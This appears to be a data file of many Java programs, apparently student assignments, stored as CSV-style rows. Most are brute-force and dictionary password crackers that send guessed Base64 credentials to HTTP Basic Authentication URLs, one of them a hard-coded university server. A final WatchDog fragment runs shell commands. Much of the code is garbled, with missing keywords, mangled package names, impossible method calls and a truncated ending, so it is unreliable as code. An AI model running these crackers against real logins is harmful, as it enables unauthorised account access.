System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass); + System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000)); + + } + catch(Exception e) + { + e.printStackTrace(); + } + } + + static String applyDictionary (String URL, String UserName, String strUrlDictionary) + { + String strPass = """"; + + try + { + FileInputStream fIn = new FileInputStream ( strUrlDictionary ); + DataInputStream dtIn = new DataInputStream ( fIn ); + + + + + System.out.print(""\n\n\n Applying Dictionary Attack: ""); + + while (dtIn.available() > 0) + { + strPass = dtIn.readLine(); + + if (strPass.length() != 3) + continue; + + + + + System.out.print(""\b\b\b"" + strPass ); + + boolean boolResult = applyPass ( URL, UserName, strPass ); + + if (boolResult) + { + dtIn.close(); + fIn.close(); + return strPass; + } + } + + dtIn.close(); + fIn.close(); + } + catch (Exception e) + { + e.printStackTrace(); + } + + return ""Could not find match""; + } + + private static boolean applyPass (String strURL, String strUserName, String strPass ) + { + BASE64Encoder myEncoder = new BASE64Encoder (); + + try + { + String str = strUserName + "":"" + strPass; + + String strEncode = myEncoder.encode(str.getBytes()); + + URL url = new URL (strURL); + + URLConnection urlConn = url.openConnection(); + + urlConn.setRequestProperty (""Authorization"", "" "" + strEncode); + + urlConn.connect(); + + String strReply = urlConn.getHeaderField(0); + + if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") ) + { + return true; + } + } + catch (Exception e) + { + e.printStackTrace (); + } + + return false; + } +} +" +228.java," + +import java.io.*; +import java.*; +import java.net.*; +import java.util.*; + +public class BruteForce { + public static void main (String[] args) throws IOException { + BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in)); + + int start = new Date().getTime(); + String[] letters = {""a"",""A"",""b"",""B"",""c"",""C"",""d"",""D"",""e"",""E"",""f"",""F"",""g"",""G"", + ""h"",""H"",""i"",""I"",""j"",""J"",""k"",""K"",""l"",""L"",""m"",""M"",""n"",""N"", + ""o"",""O"",""p"",""P"",""q"",""Q"",""r"",""R"",""s"",""S"",""t"",""T"",""u"",""U"", + ""v"",""V"",""w"",""W"",""x"",""X"",""y"",""Y"",""z"",""Z""}; + int len = 52; + int total = 52; + String[] cad = new String[total]; + int t=0; + + for (int i=0;i<=len-1;i++){ + cad[t] = letters[i]; + t++; + } + for (int i=0;i<=len-1;i++){ + for (int j=0;j<=len-1;j++){ + cad[t] = letters[j]+letters[i]; + t++; + }} + for (int i=0;i<=len-1;i++){ + for (int j=0;j<=len-1;j++){ + for (int k=0;k<=len-1;k++){ + cad[t] = letters[k]+letters[j]+letters[i]; + t++; + }}} + + int response = 0; + for (t=0;t<=total-1;t++){ + String uname = """"; + String userinfo = uname + "":"" + cad[t]; + try{ + String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes()); + URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/""); + HttpURLConnection uc = (HttpURLConnection)url.openConnection(); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + response = uc.getResponseCode(); + if (response == 200) break; + else uc.disconnect(); + } + catch(IOException e){ System.err.println(e); e.printStackTrace(); } + catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); } + } + System.out.println(""Response ""+t+"" was ""+response); + System.out.println(""The successful password was ""+cad[t]); + finish = new Date().getTime(); + float totaltime = (float)(finish-start)/1000; + System.out.println(""Total time: ""+totaltime+"" seconds""); + } +} + +" +185.java," + +import java.awt.*; +import java.awt.event.*; +import java.io.*; +import java.net.*; + +public class Dictionary extends Frame implements ActionListener { + + private TextField tf = new TextField(); + private TextArea ta = new TextArea(); + + public void actionPerformed (ActionEvent e) { + String s = tf.getText(); + String login=""""; + try{ + BufferedReader bufr = new BufferedReader + (new FileReader (""words1.txt"")); + String inputLine=""""; + + + + if (s.length() != 0) + { + inputLine = bufr.readLine(); + while ((inputLine != null) && (inputLine.length() != 3)) + { + + inputLine = bufr.readLine(); + } + + login="":""+inputLine; + ta.setText (fetchURL (s,login)); + System.out.println(""runing""+login); + }while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error URL"")!=0); + + System.out.println(""The password is: ""+inputLine); +} +catch(Exception ex){} + + } + + public Dictionary() { + + super (""URL11 Password""); + + + add (tf, BorderLayout.LEFT); + ta.setEditable(false); + add (ta, BorderLayout.CENTER); + tf.addActionListener (this); + addWindowListener (new WindowAdapter() { + public void windowClosing (WindowEvent e) { + dispose(); + System.exit(0); + } + }); + } + + private String fetchURL (String urlString,String login) { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(); + + try { + URL url = new URL (urlString); + + + MyAuthenticator = new MyAuthenticator(); + + + + String encoding = new url.misc.BASE64Encoder().encode (login.getBytes()); + + + + + + URLConnection uc = url.openConnection(); + uc.setRequestProperty (""Authorization"", "" "" + encoding); + InputStream content = (InputStream)uc.getInputStream(); + BufferedReader in = + new BufferedReader (new InputStreamReader (content)); + String line; + while ((line = in.readLine()) != null) { + pw.println (line); + } + } catch (MalformedURLException e) { + pw.println (""Invalid URL""); + } catch (IOException e) { + pw.println (""Error URL""); + } + return sw.toString(); + } + + + public static void main (String args[]) { + Frame f = new Dictionary(); + f.setSize(300, 300); + f.setVisible (true); + } + + class MyAuthenticator { + String getPasswordAuthentication(Frame f, String prompt) { + final Dialog jd = new Dialog (f, ""Enter password"", true); + jd.setLayout (new GridLayout (0, 1)); + Label jl = new Label (prompt); + jd.add (jl); + TextField username = new TextField(); + username.setBackground (Color.lightGray); + jd.add (username); + TextField password = new TextField(); + password.setEchoChar ('*'); + password.setBackground (Color.lightGray); + jd.add (password); + Button jb = new Button (""OK""); + jd.add (jb); + jb.addActionListener (new ActionListener() { + public void actionPerformed (ActionEvent e) { + jd.dispose(); + } + }); + jd.pack(); + jd.setVisible(true); + return username.getText() + "":"" + password.getText(); + + } + } + +} + + + class Base64Converter + + + { + + public static final char [ ] alphabet = { + 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', + 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', + 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', + 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', + 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', + 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', + 'w', 'x', 'y', 'z', '0', '1', '2', '3', + '4', '5', '6', '7', '8', '9', '+', '/' }; + + + + + public static String encode ( String s ) + + { + return encode ( s.getBytes ( ) ); + } + + public static String encode ( byte [ ] octetString ) + + { + int bits24; + int bits6; + + char [ ] out + = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; + + int outIndex = 0; + int i = 0; + + while ( ( i + 3 ) <= octetString.length ) + { + + bits24 = ( octetString [ i++ ] & 0xFF ) << 16; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; + bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + + bits6 = ( bits24 & 0x00FC0000 ) >> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + + + + } + +" +048.java,"import java.io.*; +import java.net.*; +import java.*; +import java.Runtime.*; +import java.Object.*; +import java.util.*; +import java.util.StringTokenizer; +import java.net.HttpURLConnection; + + +public class BruteForce +{ + String uname = """"; + String pword = ""null""; + Vector v = new Vector(); + int runTime; + + public void doConnect(String connect, int num) + { + + String cad = connect; + + try + { + URL secureSite = new URL(); + URLConnection connection = secureSite.openConnection(); + + if (uname != null || pword != null) + { + + for(int i=num; i> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; + bits6=( bits24 & 0x00FC0000 )>> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits6=( bits24 & 0x00FC0000 )>> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + } + + +" +117.java," +import java.util.*; + +public class CrackThread implements Runnable { + + private String strUsername; + private String strURL; + private int iSeed; + private int iEnd; + + + public CrackThread() { + } + + public void setParams(String url, String username, int seed, int end) { + strUsername = username; + strURL = url; + iSeed = seed; + iEnd = end; + } + + public void run() { + Date dtStart, dtEnd; + PasswordGen pwd = new PasswordGen(); + PasswordTest tester; + int i=1; + boolean bDone = false; + Result res; + + dtStart = new Date(); + + + pwd.setSeed(iSeed); + + while(!bDone) { + tester = new PasswordTest(strURL, strUsername, pwd.getNextPassword()); + + bDone = tester; + i++; + + + if(i % 100 == 0) + { + System.out.println(pwd.getPassword()); + } + + if(bDone) { + + res = new Result(strURL, strUsername, pwd.getPassword(), dtStart, new Date(), i); + System.out.print(res.toString()); + } + else + { + + } + + + if( i >= iEnd) bDone = true; + } + } + +} +" +042.java,"import java.net.*; +import java.io.*; + +public class BruteForce { + private String strUserName; + private String strURL; + private int iAttempts; + + public BruteForce(String strURL,String strUserName) { + this.strURL = strURL; + this.strUserName = strUserName; + this.iAttempts = 0 ; + + } + + public String getPassword(){ + URL u; + String result =""""; + PassGenBrute PG = new PassGenBrute(3); + URLConnection uc; + String strPassword = new String(); + String strEncode; + try{ + while (result.compareTo(""HTTP/1.1 200 OK"")!=0){ + + strEncode = PG.getNewPassword(); + u = new URL(strURL); + uc = u.openConnection(); + uc.setDoInput(true); + uc.setDoOutput(true); + strPassword = strEncode; + strEncode = strUserName + "":"" + strEncode; + + strEncode = new String(Base64.encode(strEncode.getBytes())); + uc.setRequestProperty(""Authorization"","" "" + strEncode); + + result = uc.getHeaderField(0); + uc = null; + u = null; + iAttempts++; + } + + } + catch (Exception me) { + System.out.println(""MalformedURLException: ""+me); + } + return(strPassword); + } + + public int getAttempts(){ + return (iAttempts); + }; + + public static void main (String arg[]){ + timeStart = 0; + timeEnd = 0; + + if (arg.length == 2) { + BruteForce BF = new BruteForce(arg[0],arg[1]); + System.out.println(""Processing ... ""); + timeStart = System.currentTimeMillis(); + + System.out.println(""Password = "" + BF.getPassword()); + timeEnd = System.currentTimeMillis(); + System.out.println(""Total Time Taken = "" + (timeEnd - timeStart) + "" (msec)""); + System.out.println(""Total Attempts = "" + BF.getAttempts()); + } + else { + System.out.println(""[Usage] java BruteForce ""); + + } + + } +} + +class PassGenBrute { + private char[] password; + public PassGenBrute(int lenght) { + password = new char[lenght]; + for (int i = 0; i < lenght; i++){ + password[i] = 65; + } + password[0]--; + } + + public String getNewPassword() + throws PasswordFailureException{ + password[0]++; + + try { + for (int i=0; i 122) { + password[i] = 65; + password[i+1]++; + } + } + } + catch (RuntimeException re){ + throw new PasswordFailureException (); + } + return new String(password); + } +} + +class PasswordFailureException extends RuntimeException { + + public PasswordFailureException() { + } +}" +079.java,"import java.util.*; +import java.net.*; +import java.io.*; + +public class Dictionary +{ + boolean connected = false; + int counter; + + Vector words = new Vector(); + + Dictionary() + { + counter = 0; + this.readWords(); + this.startAttack(); + } + + public void startAttack() + { + while(counter 0) + path = path.substring(0,path.lastIndexOf(""/"")+1); + image = tmp+path+image; + } + System.out.println(image); + images.add(image); + } + } + }; + URLConnection = getConnection(); + this.images = new ArrayList(); + Reader reader = new InputStreamReader( bf.getInputStream() ); + ParserDelegator pd = new ParserDelegator(); + pd.parse( reader , callback , true ); + return images; + } + + + public void executeCommand(String command)throws Exception{ + if(command == null) + return; + String [] command1 = new String[]{""//sh"", ""-c"",command}; + Process pc = Runtime.getRuntime().exec(command1); + Thread.sleep(5000); + + } + + + public void append(String fileName, String text) throws Exception { + File f = new File(fileName); + + if(f.exists()){ + fileLength = f.length(); + RandomAccessFile raf = new RandomAccessFile(f, ""rw""); + raf.print(fileLength); + + raf.writeBytes(text); + + raf.print(); + } + else{ + throw new FileNotFoundException(); + } + } + + public void concatenate(String file1, String file2, String file3)throws Exception{ + File f = new File(file3); + if(f.exists()) + f.delete(); + + f.createNewFile(); + + + BufferedReader dict = new BufferedReader(new InputStreamReader(new FileInputStream(file1))); + + String line = """"; + { + line = dict.readLine(); + if(line== null) break; + this.append(file3, line+""\n""); + } while(line!=null); + + dict.print(); + + dict = new BufferedReader(new InputStreamReader(new FileInputStream(file2))); + + line = """"; + { + line = dict.readLine(); + if(line== null) break; + this.append(file3, line+""\n""); + } while(line!=null); + dict.print(); + f = new File(file1); + if(f.exists()) + f.delete(); + f = new File(file2); + if(f.exists()) + f.delete(); + + } + + public getTime(){ + return this.time; + } + public static void main (String[] args) { + if(args.length != 3){ + System.out.println(""usage: java attacks.WatchDog